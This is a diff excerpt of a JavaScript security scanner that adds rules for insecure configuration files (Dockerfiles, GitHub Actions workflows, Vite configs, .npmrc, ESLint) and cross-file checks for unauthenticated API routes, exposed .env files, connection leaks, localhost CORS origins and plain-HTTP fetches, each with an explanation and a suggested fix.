cwe: "CWE-1059",
|
|
5408
|
+
filePattern: /Dockerfile$/i,
|
|
5409
|
+
check(content) {
|
|
5410
|
+
const fromCount = (content.match(/^FROM\s/gmi) || []).length;
|
|
5411
|
+
if (fromCount <= 1 && content.includes("npm") && content.length > 200) {
|
|
5412
|
+
return { line: 1, snippet: getSnippet4(content, 1) };
|
|
5413
|
+
}
|
|
5414
|
+
return null;
|
|
5415
|
+
}
|
|
5416
|
+
},
|
|
5417
|
+
{
|
|
5418
|
+
id: "CFG007",
|
|
5419
|
+
title: "Dockerfile Copies .env File",
|
|
5420
|
+
severity: "critical",
|
|
5421
|
+
category: "Configuration",
|
|
5422
|
+
description: "COPY that includes .env files bakes secrets into the Docker image layer.",
|
|
5423
|
+
fix: "Add .env to .dockerignore. Use build args or runtime env vars instead.",
|
|
5424
|
+
owasp: "A02:2021",
|
|
5425
|
+
cwe: "CWE-312",
|
|
5426
|
+
filePattern: /Dockerfile$/i,
|
|
5427
|
+
check(content) {
|
|
5428
|
+
const lines = content.split("\n");
|
|
5429
|
+
for (let i = 0; i < lines.length; i++) {
|
|
5430
|
+
if (/^COPY\s.*\.env\b/i.test(lines[i].trim())) {
|
|
5431
|
+
return { line: i + 1, snippet: getSnippet4(content, i + 1) };
|
|
5432
|
+
}
|
|
5433
|
+
}
|
|
5434
|
+
return null;
|
|
5435
|
+
}
|
|
5436
|
+
},
|
|
5437
|
+
// ── GitHub Actions ──
|
|
5438
|
+
{
|
|
5439
|
+
id: "CFG008",
|
|
5440
|
+
title: "GitHub Actions with Broad Permissions",
|
|
5441
|
+
severity: "high",
|
|
5442
|
+
category: "Configuration",
|
|
5443
|
+
description: "GitHub Actions with write-all or broad permissions can be exploited if a dependency is compromised.",
|
|
5444
|
+
fix: "Use minimal permissions: permissions: { contents: read }. Only grant what's needed.",
|
|
5445
|
+
owasp: "A01:2021",
|
|
5446
|
+
cwe: "CWE-250",
|
|
5447
|
+
filePattern: /\.github\/workflows\/.*\.(yml|yaml)$/,
|
|
5448
|
+
check(content) {
|
|
5449
|
+
const lines = content.split("\n");
|
|
5450
|
+
for (let i = 0; i < lines.length; i++) {
|
|
5451
|
+
if (/permissions\s*:\s*write-all/i.test(lines[i])) {
|
|
5452
|
+
return { line: i + 1, snippet: getSnippet4(content, i + 1) };
|
|
5453
|
+
}
|
|
5454
|
+
}
|
|
5455
|
+
return null;
|
|
5456
|
+
}
|
|
5457
|
+
},
|
|
5458
|
+
{
|
|
5459
|
+
id: "CFG009",
|
|
5460
|
+
title: "GitHub Actions Using Unpinned Action",
|
|
5461
|
+
severity: "medium",
|
|
5462
|
+
category: "Configuration",
|
|
5463
|
+
description: "Using actions with @main or @master instead of a pinned SHA allows supply chain attacks.",
|
|
5464
|
+
fix: "Pin actions to a specific SHA: uses: actions/checkout@abc123... instead of @main.",
|
|
5465
|
+
owasp: "A06:2021",
|
|
5466
|
+
cwe: "CWE-1395",
|
|
5467
|
+
filePattern: /\.github\/workflows\/.*\.(yml|yaml)$/,
|
|
5468
|
+
check(content) {
|
|
5469
|
+
const lines = content.split("\n");
|
|
5470
|
+
for (let i = 0; i < lines.length; i++) {
|
|
5471
|
+
if (/uses:\s*\S+@(?:main|master|dev|latest)\s*$/i.test(lines[i])) {
|
|
5472
|
+
return { line: i + 1, snippet: getSnippet4(content, i + 1) };
|
|
5473
|
+
}
|
|
5474
|
+
}
|
|
5475
|
+
return null;
|
|
5476
|
+
}
|
|
5477
|
+
},
|
|
5478
|
+
// ── Vite Config ──
|
|
5479
|
+
{
|
|
5480
|
+
id: "CFG010",
|
|
5481
|
+
title: "Vite Server Open to Network",
|
|
5482
|
+
severity: "medium",
|
|
5483
|
+
category: "Configuration",
|
|
5484
|
+
description: "Vite dev server with host: true exposes it to the entire network.",
|
|
5485
|
+
fix: "Remove host: true or use host: '127.0.0.1' for local-only access during development.",
|
|
5486
|
+
owasp: "A05:2021",
|
|
5487
|
+
cwe: "CWE-668",
|
|
5488
|
+
filePattern: /vite\.config\.(js|ts|mjs)$/,
|
|
5489
|
+
check(content) {
|
|
5490
|
+
const lines = content.split("\n");
|
|
5491
|
+
for (let i = 0; i < lines.length; i++) {
|
|
5492
|
+
if (/host\s*:\s*true/.test(lines[i]) || /host\s*:\s*['"]0\.0\.0\.0['"]/.test(lines[i])) {
|
|
5493
|
+
return { line: i + 1, snippet: getSnippet4(content, i + 1) };
|
|
5494
|
+
}
|
|
5495
|
+
}
|
|
5496
|
+
return null;
|
|
5497
|
+
}
|
|
5498
|
+
},
|
|
5499
|
+
// ── .npmrc ──
|
|
5500
|
+
{
|
|
5501
|
+
id: "CFG011",
|
|
5502
|
+
title: "NPM Auth Token in .npmrc",
|
|
5503
|
+
severity: "critical",
|
|
5504
|
+
category: "Secrets",
|
|
5505
|
+
description: "NPM auth tokens in committed .npmrc files expose registry credentials.",
|
|
5506
|
+
fix: "Remove the token and add .npmrc to .gitignore. Use NPM_TOKEN env var instead.",
|
|
5507
|
+
owasp: "A02:2021",
|
|
5508
|
+
cwe: "CWE-798",
|
|
5509
|
+
filePattern: /\.npmrc$/,
|
|
5510
|
+
check(content) {
|
|
5511
|
+
const lines = content.split("\n");
|
|
5512
|
+
for (let i = 0; i < lines.length; i++) {
|
|
5513
|
+
const line = lines[i];
|
|
5514
|
+
const registry = line.indexOf("//registry");
|
|
5515
|
+
if (line.includes("_authToken") || line.includes("_auth=") || registry >= 0 && line.includes(":_password", registry + 10)) {
|
|
5516
|
+
return { line: i + 1, snippet: getSnippet4(content, i + 1) };
|
|
5517
|
+
}
|
|
5518
|
+
}
|
|
5519
|
+
return null;
|
|
5520
|
+
}
|
|
5521
|
+
},
|
|
5522
|
+
// ── ESLint Config ──
|
|
5523
|
+
{
|
|
5524
|
+
id: "CFG012",
|
|
5525
|
+
title: "Security ESLint Rules Disabled",
|
|
5526
|
+
severity: "medium",
|
|
5527
|
+
category: "Configuration",
|
|
5528
|
+
description: "Disabling security-related ESLint rules removes an important safety net.",
|
|
5529
|
+
fix: "Re-enable security rules or use eslint-plugin-security for automated checks.",
|
|
5530
|
+
owasp: "A05:2021",
|
|
5531
|
+
cwe: "CWE-710",
|
|
5532
|
+
filePattern: /\.eslint(rc)?(\.(js|json|yml|yaml|cjs|mjs))?$/,
|
|
5533
|
+
check(content) {
|
|
5534
|
+
const lines = content.split("\n");
|
|
5535
|
+
for (let i = 0; i < lines.length; i++) {
|
|
5536
|
+
if (/no-eval|no-implied-eval|no-new-func|no-script-url|security\/detect/i.test(lines[i]) && /["']off["']|:\s*0/.test(lines[i])) {
|
|
5537
|
+
return { line: i + 1, snippet: getSnippet4(content, i + 1) };
|
|
5538
|
+
}
|
|
5539
|
+
}
|
|
5540
|
+
return null;
|
|
5541
|
+
}
|
|
5542
|
+
}
|
|
5543
|
+
];
|
|
5544
|
+
function scanConfigs(files) {
|
|
5545
|
+
const findings = [];
|
|
5546
|
+
for (const { path: filePath, content } of files) {
|
|
5547
|
+
for (const check of CONFIG_CHECKS) {
|
|
5548
|
+
if (!check.filePattern.test(filePath)) continue;
|
|
5549
|
+
const result = check.check(content, filePath);
|
|
5550
|
+
if (result) {
|
|
5551
|
+
findings.push({
|
|
5552
|
+
id: `${check.id}-${filePath}:${result.line}`,
|
|
5553
|
+
rule: check.id,
|
|
5554
|
+
severity: check.severity,
|
|
5555
|
+
title: check.title,
|
|
5556
|
+
description: check.description,
|
|
5557
|
+
file: filePath,
|
|
5558
|
+
line: result.line,
|
|
5559
|
+
snippet: result.snippet,
|
|
5560
|
+
fix: check.fix,
|
|
5561
|
+
category: check.category,
|
|
5562
|
+
source: "custom",
|
|
5563
|
+
owasp: check.owasp,
|
|
5564
|
+
cwe: check.cwe
|
|
5565
|
+
});
|
|
5566
|
+
}
|
|
5567
|
+
}
|
|
5568
|
+
}
|
|
5569
|
+
return findings;
|
|
5570
|
+
}
|
|
5571
|
+
|
|
5572
|
+
// src/engines/multi-file-analyzer.ts
|
|
5573
|
+
function getSnippet5(content, line) {
|
|
5574
|
+
const lines = content.split("\n");
|
|
5575
|
+
const start = Math.max(0, line - 2);
|
|
5576
|
+
const end = Math.min(lines.length, line + 2);
|
|
5577
|
+
return lines.slice(start, end).map((l, i) => {
|
|
5578
|
+
const lineNum = start + i + 1;
|
|
5579
|
+
const prefix = lineNum === line ? ">" : " ";
|
|
5580
|
+
return `${prefix} ${String(lineNum).padStart(5)} | ${l}`;
|
|
5581
|
+
}).join("\n");
|
|
5582
|
+
}
|
|
5583
|
+
function scanMultiFile(files) {
|
|
5584
|
+
const findings = [];
|
|
5585
|
+
const fileMap = /* @__PURE__ */ new Map();
|
|
5586
|
+
for (const f of files) {
|
|
5587
|
+
fileMap.set(f.path, f.content);
|
|
5588
|
+
}
|
|
5589
|
+
const hasGlobalMiddleware = files.some(
|
|
5590
|
+
(f) => /middleware\.(ts|js)$/.test(f.path) && /(?:auth|session|clerk|nextauth|getToken)/i.test(f.content)
|
|
5591
|
+
);
|
|
5592
|
+
const hasAuthModule = files.some(
|
|
5593
|
+
(f) => /(?:auth|middleware)\.(ts|js)$/i.test(f.path) && /(?:requireAuth|isAuthenticated|authenticate|verify)/i.test(f.content)
|
|
5594
|
+
);
|
|
5595
|
+
for (const f of files) {
|
|
5596
|
+
if (!/(?:\/api\/|routes?\/|controllers?\/)/i.test(f.path)) continue;
|
|
5597
|
+
if (/middleware/i.test(f.path)) continue;
|
|
5598
|
+
if (/(?:health|status|ping|ready|live)\.(?:ts|js)/i.test(f.path)) continue;
|
|
5599
|
+
const hasLocalAuth = /(?:requireAuth|isAuthenticated|authenticate|verify|getAuth|getSession|getServerSession|withAuth|jwt\.verify|clerk)/i.test(f.content);
|
|
5600
|
+
const hasAuthImport = f.content.split("\n").some((line) => {
|
|
5601
|
+
const at = line.search(/import/i);
|
|
5602
|
+
return at >= 0 && /(?:auth|session|middleware|verify|clerk)/i.test(line.slice(at + 6));
|
|
5603
|
+
});
|
|
5604
|
+
if (!hasLocalAuth && !hasAuthImport && !hasGlobalMiddleware) {
|
|
5605
|
+
if (/\.(get|post|put|delete|patch)\s*\(|export\s+(?:async\s+)?function\s+(?:GET|POST|PUT|DELETE|PATCH)/i.test(f.content)) {
|
|
5606
|
+
const line = f.content.split("\n").findIndex(
|
|
5607
|
+
(l) => /\.(get|post|put|delete|patch)\s*\(|export\s+(?:async\s+)?function\s+(?:GET|POST|PUT|DELETE|PATCH)/i.test(l)
|
|
5608
|
+
) + 1;
|
|
5609
|
+
findings.push({
|
|
5610
|
+
id: `MFA001-${f.path}:${line}`,
|
|
5611
|
+
rule: "MFA001",
|
|
5612
|
+
severity: "high",
|
|
5613
|
+
title: "API Route Without Auth (Cross-File Check)",
|
|
5614
|
+
description: "This API route file has no authentication checks and no auth middleware was detected in the project.",
|
|
5615
|
+
file: f.path,
|
|
5616
|
+
line,
|
|
5617
|
+
snippet: getSnippet5(f.content, line),
|
|
5618
|
+
fix: "Add authentication middleware or import your auth module. If using Next.js, create middleware.ts in your app root.",
|
|
5619
|
+
category: "Authentication",
|
|
5620
|
+
source: "custom",
|
|
5621
|
+
owasp: "A01:2021",
|
|
5622
|
+
cwe: "CWE-862"
|
|
5623
|
+
});
|
|
5624
|
+
}
|
|
5625
|
+
}
|
|
5626
|
+
}
|
|
5627
|
+
const hasEnvFile = files.some((f) => /^\.env$|\/\.env$/.test(f.path));
|
|
5628
|
+
const gitignore = files.find((f) => f.path.endsWith(".gitignore"));
|
|
5629
|
+
if (hasEnvFile && gitignore) {
|
|
5630
|
+
if (!/^\.env$/m.test(gitignore.content) && !/^\*\.env$/m.test(gitignore.content)) {
|
|
5631
|
+
findings.push({
|
|
5632
|
+
id: "MFA002-.gitignore:1",
|
|
5633
|
+
rule: "MFA002",
|
|
5634
|
+
severity: "critical",
|
|
5635
|
+
title: ".env File Not in .gitignore",
|
|
5636
|
+
description: "An .env file exists in the project but .gitignore doesn't exclude it. Secrets may be committed.",
|
|
5637
|
+
file: ".gitignore",
|
|
5638
|
+
line: 1,
|
|
5639
|
+
snippet: getSnippet5(gitignore.content, 1),
|
|
5640
|
+
fix: "Add .env to .gitignore: echo '.env' >> .gitignore",
|
|
5641
|
+
category: "Secrets",
|
|
5642
|
+
source: "custom",
|
|
5643
|
+
owasp: "A02:2021",
|
|
5644
|
+
cwe: "CWE-312"
|
|
5645
|
+
});
|
|
5646
|
+
}
|
|
5647
|
+
}
|
|
5648
|
+
const dbFiles = files.filter(
|
|
5649
|
+
(f) => /(?:db|database|prisma|drizzle|sequelize|mongoose|knex)\.(ts|js)$/i.test(f.path) || /(?:createClient|createPool|createConnection|PrismaClient)/i.test(f.content)
|
|
5650
|
+
);
|
|
5651
|
+
for (const f of dbFiles) {
|
|
5652
|
+
if (/new PrismaClient/i.test(f.content)) {
|
|
5653
|
+
if (!/globalThis|global\./i.test(f.content)) {
|
|
5654
|
+
const line = f.content.split("\n").findIndex((l) => /new PrismaClient/.test(l)) + 1;
|
|
5655
|
+
findings.push({
|
|
5656
|
+
id: `MFA003-${f.path}:${line}`,
|
|
5657
|
+
rule: "MFA003",
|
|
5658
|
+
severity: "medium",
|
|
5659
|
+
title: "Database Client Not Cached (Connection Leak)",
|
|
5660
|
+
description: "Creating a new PrismaClient on every request leaks database connections. Use a singleton pattern.",
|
|
5661
|
+
file: f.path,
|
|
5662
|
+
line,
|
|
5663
|
+
snippet: getSnippet5(f.content, line),
|
|
5664
|
+
fix: "Use singleton: globalThis.prisma = globalThis.prisma || new PrismaClient(). This prevents connection exhaustion in serverless.",
|
|
5665
|
+
category: "Configuration",
|
|
5666
|
+
source: "custom",
|
|
5667
|
+
owasp: "A05:2021",
|
|
5668
|
+
cwe: "CWE-400"
|
|
5669
|
+
});
|
|
5670
|
+
}
|
|
5671
|
+
}
|
|
5672
|
+
}
|
|
5673
|
+
for (const f of files) {
|
|
5674
|
+
if (!/(?:server|app|index|main)\.(ts|js)$/i.test(f.path)) continue;
|
|
5675
|
+
const corsMatch = f.content.match(/origin\s*:\s*["'`](https?:\/\/[^"'`]+)["'`]/);
|
|
5676
|
+
if (corsMatch) {
|
|
5677
|
+
const corsOrigin = corsMatch[1];
|
|
5678
|
+
if (corsOrigin.includes("localhost") || corsOrigin.includes("127.0.0.1")) {
|
|
5679
|
+
const line = f.content.split("\n").findIndex((l) => l.includes(corsOrigin)) + 1;
|
|
5680
|
+
findings.push({
|
|
5681
|
+
id: `MFA004-${f.path}:${line}`,
|
|
5682
|
+
rule: "MFA004",
|
|
5683
|
+
severity: "medium",
|
|
5684
|
+
title: "CORS Origin Set to Localhost",
|
|
5685
|
+
description: "CORS origin is hardcoded to localhost. This will block requests from your production frontend.",
|
|
5686
|
+
file: f.path,
|
|
5687
|
+
line,
|
|
5688
|
+
snippet: getSnippet5(f.content, line),
|
|
5689
|
+
fix: "Use environment variable: origin: process.env.FRONTEND_URL || 'http://localhost:3000'",
|
|
5690
|
+
category: "Configuration",
|
|
5691
|
+
source: "custom",
|
|
5692
|
+
owasp: "A05:2021",
|
|
5693
|
+
cwe: "CWE-942"
|
|
5694
|
+
});
|
|
5695
|
+
}
|
|
5696
|
+
}
|
|
5697
|
+
}
|
|
5698
|
+
const envExample = files.find((f) => /\.env\.example$|\.env\.sample$|\.env\.template$/.test(f.path));
|
|
5699
|
+
if (envExample) {
|
|
5700
|
+
const envVarsUsed = /* @__PURE__ */ new Set();
|
|
5701
|
+
for (const f of files) {
|
|
5702
|
+
if (/\.(ts|js|tsx|jsx)$/i.test(f.path)) {
|
|
5703
|
+
const matches = f.content.matchAll(/process\.env\.([A-Z_][A-Z0-9_]*)/g);
|
|
5704
|
+
for (const m of matches) {
|
|
5705
|
+
envVarsUsed.add(m[1]);
|
|
5706
|
+
}
|
|
5707
|
+
}
|
|
5708
|
+
}
|
|
5709
|
+
const envVarsDocumented = /* @__PURE__ */ new Set();
|
|
5710
|
+
const exampleMatches = envExample.content.matchAll(/^([A-Z_][A-Z0-9_]*)=/gm);
|
|
5711
|
+
for (const m of exampleMatches) {
|
|
5712
|
+
envVarsDocumented.add(m[1]);
|
|
5713
|
+
}
|
|
5714
|
+
const undocumented = [...envVarsUsed].filter((v) => !envVarsDocumented.has(v) && !v.startsWith("NODE_") && v !== "npm_");
|
|
5715
|
+
if (undocumented.length > 0) {
|
|
5716
|
+
findings.push({
|
|
5717
|
+
id: `MFA005-${envExample.path}:1`,
|
|
5718
|
+
rule: "MFA005",
|
|
5719
|
+
severity: "low",
|
|
5720
|
+
title: "Env Vars Used But Not in .env.example",
|
|
5721
|
+
description: `These environment variables are used in code but missing from .env.example: ${undocumented.slice(0, 5).join(", ")}${undocumented.length > 5 ? ` (+${undocumented.length - 5} more)` : ""}`,
|
|
5722
|
+
file: envExample.path,
|
|
5723
|
+
line: 1,
|
|
5724
|
+
snippet: getSnippet5(envExample.content, 1),
|
|
5725
|
+
fix: "Add missing variables to .env.example so team members know which env vars are needed.",
|
|
5726
|
+
category: "Configuration",
|
|
5727
|
+
source: "custom",
|
|
5728
|
+
owasp: "A05:2021",
|
|
5729
|
+
cwe: "CWE-1188"
|
|
5730
|
+
});
|
|
5731
|
+
}
|
|
5732
|
+
}
|
|
5733
|
+
for (const f of files) {
|
|
5734
|
+
if (!/\.(tsx|jsx|ts|js)$/i.test(f.path)) continue;
|
|
5735
|
+
if (/(?:test|spec|mock|fixture)/i.test(f.path)) continue;
|
|
5736
|
+
const httpFetches = f.content.matchAll(/fetch\s*\(\s*["'`](http:\/\/(?!localhost|127\.0\.0\.1)[^"'`]+)["'`]/g);
|
|
5737
|
+
for (const m of httpFetches) {
|
|
5738
|
+
const line = f.content.substring(0, m.index).split("\n").length;
|
|
5739
|
+
findings.push({
|
|
5740
|
+
id: `MFA006-${f.path}:${line}`,
|
|
5741
|
+
rule: "MFA006",
|
|
5742
|
+
severity: "high",
|
|
5743
|
+
title: "Frontend Fetching Over HTTP (Not HTTPS)",
|
|
5744
|
+
description: `Fetching from ${m[1].substring(0, 40)}... over HTTP exposes data to interception.`,
|
|
5745
|
+
file: f.path,
|
|
5746
|
+
line,
|
|
5747
|
+
snippet: getSnippet5(f.content, line),
|
|
5748
|
+
fix: "Use HTTPS for all API calls in production.",
|
|
5749
|
+
category: "Configuration",
|
|
5750
|
+
source: "custom",
|
|
5751
|
+
owasp: "A02:2021",
|
|
5752
|
+
cwe: "CWE-319"
|
|
5753
|
+
});
|
|
5754
|
+
}
|
|
5755
|
+
}
|
|
5756
|
+
return findings;
|
|
5757
|
+
}
|
|
5758
|
+
|
|
4744
5759
|
// src/url-recon.ts
|
|
4745
5760
|
var BLOCKED_HOSTNAMES = /* @__PURE__ */ new Set([
|
|
4746
5761
|
"localhost",
|
|
@@ -8429,6 +9444,7 @@ function scanQuality(input, rules = qualityRules) {
|
|
|
8429
9444
|
CHECKABLE_CLAIMS,
|
|
8430
9445
|
DOTENV_ASSIGN_RE,
|
|
8431
9446
|
FREE_RULE_COUNT,
|
|
9447
|
+
GRADE_FINDINGS_PER_RULE,
|
|
8432
9448
|
INTENT_EXPECTATIONS,
|
|
8433
9449
|
MODEL_ANALYSIS,
|
|
8434
9450
|
MODEL_POLICY_REVIEWED,
|
|
@@ -8483,6 +9499,7 @@ function scanQuality(input, rules = qualityRules) {
|
|
|
8483
9499
|
freeRules,
|
|
8484
9500
|
getObjectProperty,
|
|
8485
9501
|
getSnippet,
|
|
9502
|
+
gradeRuleFamily,
|
|
8486
9503
|
hardcodedJWTSecret,
|
|
8487
9504
|
hardcodedSecrets,
|
|
8488
9505
|
harvestIntent,
|
|
@@ -8521,7 +9538,10 @@ function scanQuality(input, rules = qualityRules) {
|
|
|
8521
9538
|
replaceBlockComments,
|
|
8522
9539
|
routeForFile,
|
|
8523
9540
|
runCustomRules,
|
|
9541
|
+
scanConfigs,
|
|
9542
|
+
scanDependencies,
|
|
8524
9543
|
scanEntropy,
|
|
9544
|
+
scanMultiFile,
|
|
8525
9545
|
scanQuality,
|
|
8526
9546
|
sqlInjection,
|
|
8527
9547
|
stripeWebhookUnprotected,
|